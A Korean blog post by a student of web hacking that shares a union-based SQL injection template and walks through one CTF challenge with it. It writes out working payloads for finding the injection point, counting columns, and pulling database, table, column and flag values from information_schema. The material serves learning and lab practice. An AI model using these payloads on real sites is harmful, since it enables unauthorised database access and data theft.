무기는 끈기

[Web Hacking / 웹 해킹] SQL Injection : Data 추출 템플릿 제작(union, error based, blind 등) 본문

Hacking/Web Hacking

[Web Hacking / 웹 해킹] SQL Injection : Data 추출 템플릿 제작(union, error based, blind 등)

김유비야 2023. 12. 18. 14:07

SQL injection에는 union - , error based -, blind - , time - 등이 있다.

 

곧이어 찾아온 SQL injection 난항

 

error based, blind는 너무 재밌고 노가다가 들어갔어도 즐거웠지만, 취약점을 찾기 위한 가장 기본이자 첫 단계인 SQLi 포인트 찾는 감이 오지 않아 고민이 많았다.

더불어 union 수업 때는 몸살에 노트북 방전으로 수업까지 좀 놓쳐서 혼자 더듬더듬 공부해도 완전하게 이해가 되지 않는 부분이 많았다.

오프라인으로 보충 수업을 들을 수 있는 기회가 생겨 바로 신청하고 듣고 왔다.

넘넘 좋았고,, 고민이 많았던 SQLi 포인트를 찾는데에 자신감을 갖게 됐고,
ctf 문제를 처음부터 끝까지 오랜시간 헤매더라도 스스로 힘으로 풀 수 있게 되었다.

 


 

이 과정에서 혼자 써내려간 SQL injection 모든 솔루션에 적용되는 템플릿을 공유하려고 한다.

대체 어떻게 접근을 해야 했는지 접근 자체가 불가능했던 시간들에서 지금까지 알아낸 것들을 정리한 것이다.
접근 자체에서 어려움을 겪는 사람들에게 도움이 되었으면,, 

Sublime Text 노트패드

이런 식으로 문제 하나를 풀때마다 동시에 문제 / 버프 스위트 / 노트패드 / 크롬(아스키코드 보는데 사용) 4가지를 띄워놓고 계속 연구하고 연구했다.

문제 아껴푸는 중 .. 아껴푸는 거 맞나요?

 


 

다음 글에서 실제로 템플릿을 문제풀이에 적용하는 모습을 보여주며, 상세하게 설명할 예정이다.

이 글에선 간단하게 제작한 SQLi 템플릿을 공유하려고 한다.

 

SQLi Template

<특징>
-> 해당 문제 속 sql 쿼리는 어떻게 구성되어 있을지 생각해보며 이 문제에서 알아낼 수 있는 특징을 정리한다.

<예상되는 SQL문>
-> 해당 화면의 백에서 돌아가는 SQL문을 예상해보고 작성해본다.

<SQLi point 확인>
-> 특징과 예상되는 SQL 문을 기반으로 여기서 sql 인젝션이 먹힐지, 안 먹힐지를 테스트 해본다.
    테스트 하기 위해 삽입한 sql 쿼리와 그 결과를 모두 작성한다. -> 추후에 실수가 반복되는 것을 방지하기 위함

<column 개수 확인>
-> union 인젝션을 사용할 수 있는 상태라면 테이블의 컬럼 개수가 몇개인지 order by를 통해 확인한다.

<union 제자리에 출력되는지 확인>
-> 테이블의 컬럼 개수를 확인했다면, 실제로 화면에 출력되는 컬럼은 몇개이고, 몇번째에 위치한 컬럼인지를 확인할 수 있는 쿼리를 삽입해보고 결과를 빠짐없이 작성한다.

<기본 페이로드(공격코드)>
-> 이제 어느정도 어떤 식으로 돌아가고 있는지 예상하고, 예상한 것들을 확인했다면 완전한 공격 코드를 작성해본다. 괄호 지옥에 빠지지 않기 위해선 꼭! 꼭! 미리미리 공격코드를 작성해두고, 계속해서 복붙 복붙하며 적용해야만 한다. 이 과정에서 실수가 나오면 머리 아파진다. 꼭 명심하자!

<DB 이름 알아내기>
-> 출력되는 곳에 db이름을 알아낼 수 있는 함수(select database())를 넣어 이름을 확인한다.
    만약에 기존에 입력된 것만 계속해서 출력되고 데이터베이스 이름이 출력되지 않는다면, 앞에 파라미터를 아예 존재하지 않는 것으로 변경해서 다시 출력한다. 또는 아예 비워서 출력하거나.. 그럼 제대로 데이터베이스 이름이 출력될 것이다. limit 함수는 앞 쿼리문에는 적용되지 않기 때문에 사용할 수 없다.

<Table 이름 알아내기>
select table_name from information_schema.tables where table_schema='__DB이름__'

<Column 이름 알아내기>
select column_name from information_schema.columns where table_name='__Table이름__'

<flag 알아내기>
select 컬럼 from 테이블

-> 이 과정에서 여러 함정에 부딪힌다면 적절한 곳으로 되돌아가서 헷갈리지 않게 가능한 모든 걸 기록하면서 따라가다보면 문제를 풀 수 있다.

+ error based -, blind - 는 따로 알고 있어야 하는 함수들이 있는데 이건 추후에 관련 문제에 대해 write up 할 때 정리할 예정이다.


 

해당 템플릿을 실제로 적용해서 문제를 푼 모습
(대충 어떻게 적용했는지, 적용한 모습만 참고해주세욥)

 

SQLi 1
<예상되는 SQL문>
select ~ from ~
where search like '%____%'

<SQLi point 확인>
nor%' # -> 출력
nor%' and '1%'='1 -> 출력
--> sql문 잘 먹힘 => sqli 가능함을 확인

<column 개수 확인>
nor%' order by 1 #
-> 1,2,3,4 나옴
--> column 총 4개 / 4개 모두 출력됨

<union 제자리에 출력되는지 확인>
nor%' union select 1,2,3,4 #
-> 전부 잘 맞게 출력됨

<기본 페이로드(공격코드)>
nor%' union select ___,2,3,4 #

<DB 이름 알아내기>
select database()
nor%' union select database(),2,3,4 #
-> sqli_1

<Table 이름 알아내기>
table_name from information_schema.tables where table_schema='sqli_1'
nor%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #
-> flag_table

<Column 이름 알아내기>
column_name from information_schema.columns where table_name='flag_table'
nor%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' 
-> flag

<flag 알아내기>
select 컬럼 from 테이블
select flag from flag_table
nor%' union select flag,2,3,4 from flag_table #
-> 플래그는 비밀...